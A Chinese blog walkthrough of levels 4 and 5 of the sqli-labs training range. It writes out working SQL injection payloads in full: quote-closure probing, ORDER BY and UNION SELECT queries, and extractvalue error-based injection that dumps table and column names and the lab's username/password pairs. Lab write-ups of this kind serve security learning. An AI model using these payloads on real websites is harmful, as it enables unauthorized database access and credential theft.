【sqli靶场】第四关和第五关通关思路

这篇具有很好参考价值的文章主要介绍了【sqli靶场】第四关和第五关通关思路。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

【sqli靶场】第四关和第五关通关思路,网络安全,安全,web安全,网络安全,数据库,笔记,学习,青少年编程

目录

前言

一、sqli靶场第四关

1.1 判断注入类型

1.2 观察报错  

1.3 判断数据表中的列数

1.4 使用union联合查询

1.5 使用group_concat()函数

二、sqli靶场第五关

2.1 判断注入类型

2.2 使用extractvalue函数报错

2.3 爆出数据库中的表名

2.4 爆出users表中的列名

2.5 爆出users表中的数据


🌈嗨!我是Filotimo__🌈。很高兴与大家相识,希望我的博客能对你有所帮助。

💡本文由Filotimo__✍️原创,首发于CSDN📚。

📣如需转载,请事先与我联系以获得授权⚠️。

🎁欢迎大家给我点赞👍、收藏⭐️,并在留言区📝与我互动,这些都是我前进的动力!

🌟我的格言:森林草木都有自己认为对的角度🌟。

【sqli靶场】第四关和第五关通关思路,网络安全,安全,web安全,网络安全,数据库,笔记,学习,青少年编程

【sqli靶场】第四关和第五关通关思路,网络安全,安全,web安全,网络安全,数据库,笔记,学习,青少年编程

前言

 sqli靶场第一关:https://filotimo.blog.csdn.net/article/details/134626587?spm=1001.2014.3001.5502

 sqli靶场第二关和第三关:

https://filotimo.blog.csdn.net/article/details/134938683?spm=1001.2014.3001.5502

【sqli靶场】第四关和第五关通关思路,网络安全,安全,web安全,网络安全,数据库,笔记,学习,青少年编程


一、sqli靶场第四关

1.1 判断注入类型

输入?id=1',正常回显('是英文单引号)。

输入?id=1'',正常回显(''是两个英文单引号)。

输入?id=1",出现如图所示报错("是英文双引号):

【sqli靶场】第四关和第五关通关思路,网络安全,安全,web安全,网络安全,数据库,笔记,学习,青少年编程

输入?id=1"",正常回显(""是两个英文双引号)。

输入?id=1/1,正常回显。

输入?id=1/0,正常回显。

初步判断为双引号闭合。

1.2 观察报错  

报错信息为'"1"") LIMIT 0,1' 

进一步判断为")闭合

输入?id=1") --+,正常回显。

1.3 判断数据表中的列数

输入?id=1") order by 3 --+,正常回显。

输入?id=1") order by 4 --+,显示超出。

用二分法与order by确定列数为3

1.4 使用union联合查询

输入?id=0") union select 1,2,3--+,判断回显位,页面如下:

【sqli靶场】第四关和第五关通关思路,网络安全,安全,web安全,网络安全,数据库,笔记,学习,青少年编程

输入?id=0") union select 1,2,database()--+爆出数据库名:

【sqli靶场】第四关和第五关通关思路,网络安全,安全,web安全,网络安全,数据库,笔记,学习,青少年编程

可以看到数据库名为security。

1.5 使用group_concat()函数

构造如下语句输入:

?id=0") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆出表名:

【sqli靶场】第四关和第五关通关思路,网络安全,安全,web安全,网络安全,数据库,笔记,学习,青少年编程

可以看到表名为emails,referers,uagents,users。

点到为止,我就不继续打这关了,这里跟第三关思路一样,可以看我前面写的博客。

二、sqli靶场第五关

2.1 判断注入类型

输入?id=1',出现如图所示报错('是英文单引号):

【sqli靶场】第四关和第五关通关思路,网络安全,安全,web安全,网络安全,数据库,笔记,学习,青少年编程

输入?id=1'',正常回显(''是两个英文单引号):

【sqli靶场】第四关和第五关通关思路,网络安全,安全,web安全,网络安全,数据库,笔记,学习,青少年编程

输入?id=1/1,正常回显。

输入?id=1/0,正常回显。

判断为单引号闭合。

在正常回显(You are in...........)中,没有看到显示位,考虑报错注入。

2.2 使用extractvalue函数报错

构造语句:

?id=-1' and extractvalue(1,concat(0x7e,database(),0x7e)) --+

extractvalue 函数用于从 XML 文档中提取指定路径的数据。我们通过将 extractvalue 函数的参数设置为 concat 函数的返回值,这样 extractvalue 函数就会报错,它的报错内容就是我们想要获得的东西。

concat 函数用于将多个字符串拼接成一个字符串,该函数的参数包括多个被拼接的字符串与拼接符号。在这里,我们将拼接符号设置为 0x7e,该字符是波浪号的 ASCII 编码值,用于分隔拼接的字符串。我们在拼接的字符串中指定了三个部分:0x7e、database() 和 0x7e,其中 database() 用于返回当前数据库的名称。

结果如图:

【sqli靶场】第四关和第五关通关思路,网络安全,安全,web安全,网络安全,数据库,笔记,学习,青少年编程

我们能看到数据库名为security。

2.3 爆出数据库中的表名

构造语句:

?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) --+

这条语句跟上一条相似,只是把database()替换成了(select group_concat(table_name) from information_schema.tables where table_schema=database())

结果如图:

【sqli靶场】第四关和第五关通关思路,网络安全,安全,web安全,网络安全,数据库,笔记,学习,青少年编程

我们能看到表名为emails,referers,uagents,users。

2.4 爆出users表中的列名

构造语句:

?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e)) --+

结果如图:

【sqli靶场】第四关和第五关通关思路,网络安全,安全,web安全,网络安全,数据库,笔记,学习,青少年编程

我们能看到users表中的列名为id,username,password。

2.5 爆出users表中的数据

构造语句:

?id=-1' and extractvalue(1,concat(0x7e,(select concat(username,":",password) from users limit 0,1),0x7e)) --+

这里我们使用 concat函数将 username 字段与 :字符和password字段连接起来。而limit 0,1部分用于指定返回结果的起始位置和数量,它表示从第 0 行开始,只返回一行数据,这通常用于限制查询结果的数量。(如果出现 “Subquery returns more than 1 row” 错误,这通常是由于使用子查询时返回行数超过了预期,需要修正查询或使用合适的限制来确保只返回一个结果行。)

结果如图:

【sqli靶场】第四关和第五关通关思路,网络安全,安全,web安全,网络安全,数据库,笔记,学习,青少年编程

可以看到账号是Dumb,密码也是Dumb

我们可以将limit 0,1改为limit 1,1

结果如图:

【sqli靶场】第四关和第五关通关思路,网络安全,安全,web安全,网络安全,数据库,笔记,学习,青少年编程

可以看到账号是Angelina,密码是I-kill-you文章来源地址https://www.toymoban.com/news/detail-819706.html

到了这里,关于【sqli靶场】第四关和第五关通关思路的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 算法通关村第四关-黄金挑战栈的经典问题

    描述 :  给定一个只包括  \\\'(\\\' , \\\')\\\' , \\\'{\\\' , \\\'}\\\' , \\\'[\\\' , \\\']\\\'  的字符串  s  ,判断字符串是否有效。 有效字符串需满足: 左括号必须用相同类型的右括号闭合。 左括号必须以正确的顺序闭合。 每个右括号都有一个对应的相同类型的左括号。 题目 : LeetCode 20.有效的括号 : 

    2024年02月07日
    浏览(43)
  • Sqli-lab教程-史上最全详解(1-22通关)

    目录 Less-1 联合注入 Less-2 Less-3 Less-4 Less-5 报错注入/布尔盲注/时间盲注 Less-6 报错注入/布尔盲注/时间盲注 Less-7 文件导出 Less-8 布尔盲注/时间盲注 Less-9 时间盲注 Less-10 时间盲注 Less-11 post注入 Less-12 post注入 Less-13 post盲注 Less-14 post盲注 Less-15 时间盲注 Less-16 时间盲注 Less-17 修

    2024年02月14日
    浏览(47)
  • Sqli-labs-master超详细通关教程(1-23关|基础篇)

    一到四关主要是参数被包装的问题。一般用于尝试的语句 Ps:--+可以用#替换,url 提交过程中 Url 编码后的#为%23 and1=2--+ \\\'and1=2--+ \\\"and1=2--+ )and1=2--+ \\\')and1=2--+ \\\")and1=2--+ \\\"))and1=2--+ 图中显示的sql语句是我为了方便理解,修改了源代码显示出的 第一关: ?id =1 and 1=2 页面正常,考虑是否

    2023年04月27日
    浏览(41)
  • sqli-labs靶场分析

    1、level1 单引号测试报错,为单引号闭合,且显示1多了个单引号故而为字符型注入。且未对用户输入进行任何过滤。 且SQL语句错误会输出,可以使用报错注入 order by判断表列数 uoion 联合查询,因为网页只显示第一张表的数据,因此需要union前的语句为假,查出数据为空,把位

    2024年02月07日
    浏览(50)
  • sqli-labs靶场安装

      服务器环境:phpstudy   下载链接:https://www.xp.cn/   Sqlilabs靶场:sqlilabs   下载链接:https://github.com/Audi-1/sqli-labs   PhpStudy国内12年老牌公益软件,集安全,高效,功能与一体,已获得全球用户认可安装,运维也高效。 支持一键LAMP,LNMP,集群,监控,网站,FTP,数据库,J

    2023年04月13日
    浏览(86)
  • 算法通过村第五关-队列和Hash黄金笔记|LRU的设计与实现

    提示:我曾如此渴望命运的波澜,到最后才发现:人生最曼妙的风景,竟是内心的淡定从容。 我们层如此盼望世界的认可,到最后才知道:世界是自己,与他人毫无关系。 --杨绛 LRU 是非常经典的问题,而且在常年的算法中也是热门,但是他是存在技巧的,我们这就来一起看

    2024年02月09日
    浏览(35)
  • sqli-labs关卡18(基于http头部报错盲注)通关思路

    此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!! 1、什么是http请求头 2、为什么http头部可以进行注入 这里我只演示sql注入常见的请求头内容。 1、user-agent User-Agent 首部包含了一个特征

    2024年02月05日
    浏览(42)
  • sqli 靶场 Level23-Level30 wp

    level-23 (注释被过滤) 抓包 略 寻找注入点 ● id=1’,id=1’\\\',成周期性变化 POC ● POC: id=1’+and+extractValue(1,concat(0x7e,user()))–+’ 结果:failed。怀疑–被过滤掉了,试试前后闭合方案 ● POC: id=1’+and+extractValue(1,concat(0x7e,user()))+and+’ 结果:ok。 level-24(二次注入) 这一关比较特殊

    2024年02月06日
    浏览(39)
  • SQL注入sqli_labs靶场第三题

    ?id=1\\\'and 1=1 and \\\'1\\\'=\\\'1和?id=1\\\'and 1=1 and \\\'1\\\'=\\\'1进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。 根据报错信息判断为单引号带括号注入 联合查询: 猜解列名 ?id=1\\\') order by 3--+ 判断回显点 ?id=-1\\\') union select

    2024年04月11日
    浏览(59)
  • 解密 sqli靶场第一关:一步一步学习 SQL 注入技术

      目录 一、判断是否存在注入点 二、构造类似?id=1\\\' --+的语句 三、判断数据表中的列数 四、使用union联合查询 五、使用group_concat()函数 六、爆出数据库中的表名 七、爆出users表中的列名 八、爆出users表中的数据 🌈嗨!我是Filotimo__🌈。很高兴与大家相识,希望我的博客能对

    2024年02月04日
    浏览(58)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包